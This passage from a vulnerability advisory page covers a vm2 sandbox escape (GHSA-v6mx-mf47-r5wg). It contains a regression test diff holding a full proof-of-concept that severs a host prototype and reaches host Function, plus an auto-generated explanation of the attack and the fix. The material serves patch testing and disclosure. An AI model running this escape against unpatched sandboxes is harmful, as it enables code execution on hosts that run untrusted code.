`TypeError` (Node's `ERR_INVALID_ARG_TYPE`). + * 4. `getProto.call(e)` yields a bridge proxy wrapping + * `host.NodeError.prototype`. + * 5. `setProto.call(p1, null)` apply-traps into host realm, unwraps `p1` to + * the raw host prototype, and sets `host.NodeError.prototype.__proto__ = + * null` — severing the link to `host.TypeError.prototype`. + * 6. A second `WebAssembly.compileStreaming()` rejects with a fresh + * `NodeError`. The bridge's `thisEnsureThis` walk reaches `null` without + * finding any mapping → returns the raw host error → sandbox reads + * `e.constructor.constructor` and obtains host `Function` → RCE. + * + * ## Fix + * Structural: every host-realm primitive chokepoint already wraps on + * fallthrough with `thisProxyOther(defaultFactory, other, thisObjectPrototype)` + * — `thisFromOtherWithFactory` (line ~1947) and `thisFromOtherForThrow` + * (line ~1876). `thisEnsureThis` was the lone exception, returning `other` + * as-is. Make it consistent: on fallthrough, when the proto chain reaches + * `null` without producing any sandbox or host intrinsic recognition AND + * `other` is sandbox-side (`!isHost`), wrap defensively. Sandbox-native + * values whose chain naturally reaches a known intrinsic still take the + * fast path; sandbox-native values with a primordial null proto + * (`Object.create(null)`) are caught by the early `!proto` return. Only the + * narrow "non-null proto chain that never hits any known intrinsic" case is + * wrapped — and that case is exactly the attacker-corrupted host signature. + */ + +'use strict'; + +const assert = require('assert'); +const { VM } = require('../../../lib/main.js'); + +if (typeof it.cond !== 'function') { + it.cond = function (name, cond, fn) { + return cond ? it(name, fn) : it.skip(name, fn); + }; +} + +const NODE_MAJOR = parseInt(process.versions.node.split('.')[0], 10); +// WebAssembly.compileStreaming exists on Node 14+; the PoC relies on its +// rejection producing a host Node-internal error. +const HAS_WASM_STREAMING = NODE_MAJOR >= 14; + +// Sandbox-side sentinel: the escape path sets a key on `global`. Polling +// after a microtask tick lets unhandled-rejection / promise resolution +// settle. +function escapeAttempt(code) { + const vm = new VM({ timeout: 2000 }); + const pwnKey = '__GHSA_v6mx_pwned_' + Math.random().toString(36).slice(2); + global[pwnKey] = false; + try { + vm.run(code.replace(/__PWN_KEY__/g, JSON.stringify(pwnKey))); + } catch (_) { + /* bridge-level throws are also blocked */ + } + return new Promise(function (resolve) { + setTimeout(function () { + const escaped = global[pwnKey] === true; + delete global[pwnKey]; + resolve(escaped); + }, 300); + }); +} + +describe('GHSA-v6mx-mf47-r5wg (host intrinsic prototype severance → ensureThis fallthrough escape)', function () { + it.cond( + 'blocks the canonical PoC (compileStreaming twice with proto severance between)', + HAS_WASM_STREAMING, + async function () { + this.timeout(5000); + const escaped = await escapeAttempt(` + "use strict"; + const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); + const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); + async function f() { + try { await WebAssembly.compileStreaming(); } + catch (e) { setProto.call(getProto.call(e), null); } + try { await WebAssembly.compileStreaming(); } + catch (e) { + try { + const HostFunction = e.constructor.constructor; + new HostFunction("globalThis[" + JSON.stringify(__PWN_KEY__) + "] = true")(); + } catch (_) {} + } + } + f().catch(() => {}); + `); + assert.strictEqual(escaped, false, 'canonical PoC succeeded'); + }, + ); + + it.cond('catch-block error never exposes host Function after proto severance attempt', HAS_WASM_STREAMING, async function () { + this.timeout(5000); + // Even if the attacker attempts to corrupt the NodeError prototype, the + // value delivered to the sandbox catch must never pivot to host + // `Function` via `e.constructor.constructor`. The test does NOT check + // `e.isProxy` because, with the write-side defense blocking the + // `setProto.call` primitive, the proto chain stays intact and the bridge + // wraps via the protoMappings hit at host `TypeError.prototype` — at + // that point `e.constructor` resolves to *sandbox* `TypeError` and + // `e.constructor.constructor` is *sandbox* `Function`, which is + // harmless. The escape check looks for host `process` reachability. + const vm = new VM({ timeout: 2000, sandbox: { __probe: {} } }); + vm.run(` + "use strict"; + const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); + const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); + async function f() { + try { await WebAssembly.compileStreaming(); } + catch (e) { try { setProto.call(getProto.call(e), null); } catch (_) {} } + try { await WebAssembly.compileStreaming(); } + catch (e) { + try { + const HF = e.constructor.constructor; + const probe = new HF("return typeof process !== 'undefined' && process && process.mainModule ? 'HOST' : 'SANDBOX'")(); + __probe.realm = probe; + } catch (_) { + __probe.realm = 'BLOCKED'; + } + } + } + f().catch(() => {}); + `); + await new Promise(function (r) { + setTimeout(r, 300); + }); + assert.notStrictEqual( + vm.sandbox.__probe.realm, + 'HOST', + 'e.constructor.constructor reached host Function (host process visible)', + ); + }); + + it.cond('variant: severing host Error.prototype via the same primitive', HAS_WASM_STREAMING, async function () { + this.timeout(5000); + // Even if the attacker picks a different host-realm prototype to + // sever, the fallthrough path must remain wrapped. This walks one + // level deeper before the setProto call. + const escaped = await escapeAttempt(` + "use strict"; + const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); + const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); + async function f() { + try { await WebAssembly.compileStreaming(); } + catch (e) { + try { + // Walk two levels of proto chain before severing — try to + // hit host TypeError.prototype's parent (host Error.prototype). + setProto.call(getProto.call(getProto.call(e)), null); + } catch (_) {} + } + try { await WebAssembly.compileStreaming(); } + catch (e) { + try { + const HF = e.constructor.constructor; + new HF("globalThis[" + JSON.stringify(__PWN_KEY__) + "] = true")(); + } catch (_) {} + } + } + f().catch(() => {}); + `); + assert.strictEqual(escaped, false, 'deeper proto-severance variant succeeded'); + }); + + it('sandbox-native catch values with intact prototype chain are returned identity-stable', function () { + // Regression guard for the fix: sandbox-realm errors caught in a + // sandbox catch block must NOT be wrapped in a bridge proxy + // (preserves identity comparisons, instanceof, and prevents + // proxy-of-proxy churn). + const vm = new VM(); + const out = vm.run(` + let caught = null; + let sameIdentity = false; + try { throw new Error("local"); } + catch (e) { caught = e; sameIdentity = (e instanceof Error) && e.message === "local"; } + ({ sameIdentity }); + `); + assert.strictEqual(out.sameIdentity, true, 'sandbox-native error lost identity through catch'); + }); + + it('Object.create(null) sandbox values still pass through ensureThis untouched', function () { + // The early `!proto` return in ensureThis must continue to short- + // circuit primordial null-proto objects so they are not wrapped. + const vm = new VM(); + const out = vm.run(` + const nullProto = Object.create(null); + nullProto.kind = "marker"; + let caught = null; + try { throw nullProto; } catch (e) { caught = e; } + ({ kind: caught && caught.kind, sameRef: caught === nullProto }); + `); + assert.strictEqual(out.kind, 'marker', 'null-proto throw lost data'); + assert.strictEqual(out.sameRef, true, 'null-proto throw was wrapped'); + }); +});
Vulnerability mechanics
Root cause
"The bridge's apply trap did not block sandbox-invoked host prototype-mutating intrinsics, allowing the attacker to sever a host object's prototype chain and cause the bridge's proto-walk to return the raw host object unwrapped."
Attack vector
An attacker inside the vm2 sandbox first extracts the host `Object.prototype.__proto__` setter via `Buffer.call.call({}.__lookupSetter__, Buffer, '__proto__')`. They then trigger a host-realm `TypeError` (e.g. by `await WebAssembly.compileStreaming()`) and, in the `catch` block, call `setProto.call(getProto.call(e), null)`. The apply trap unwraps the proxy and forwards the call to the host setter, severing the host `TypeError.prototype.[[Prototype]]` chain. A second `WebAssembly.compileStreaming()` rejection produces a fresh host `TypeError` whose prototype chain no longer matches any bridge mapping; `thisEnsureThis` returns the raw host object, and `e.constructor.constructor` resolves to host `Function`, enabling arbitrary code execution. [CWE-913] [ref_id=1]
Affected code
The vulnerability resides in `lib/bridge.js` within the `createBridge` function. The apply trap allowed sandbox code to invoke host-realm prototype-mutating intrinsics (such as the `Object.prototype.__proto__` setter) with a wrapped host object as `this`, bypassing the proxy's `setPrototypeOf` trap. The `thisEnsureThis` helper's proto-chain walk could then fall through and return a raw host object when the chain had been severed. [patch_id=3103572] [ref_id=1]
What the fix does
The patch introduces two layers of defense in `lib/bridge.js`. Layer A (write-side) caches the identity of every host-realm prototype-mutating intrinsic (`Object.prototype.__proto__` setter, `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.defineProperty`, etc.) and refuses any sandbox-initiated apply-trap invocation that reaches one. It also peels one indirection layer for `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}` to catch the canonical PoC shape. Layer B (read-side, defense-in-depth) adds a cache check (`mappingOtherToThis`) at the top of `thisEnsureThis` before the proto-chain walk, so any previously bridged host value returns its existing proxy regardless of subsequent prototype tampering. [patch_id=3103572]
Preconditions
- configThe attacker must be able to execute JavaScript inside a vm2 sandbox instance.
- inputThe attacker must have access to `Buffer` and `WebAssembly.compileStreaming` (Node.js 14+).
- authNo additional authentication is required; the attack is launched entirely from within the sandbox.
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4News mentions
0No linked articles in our index yet.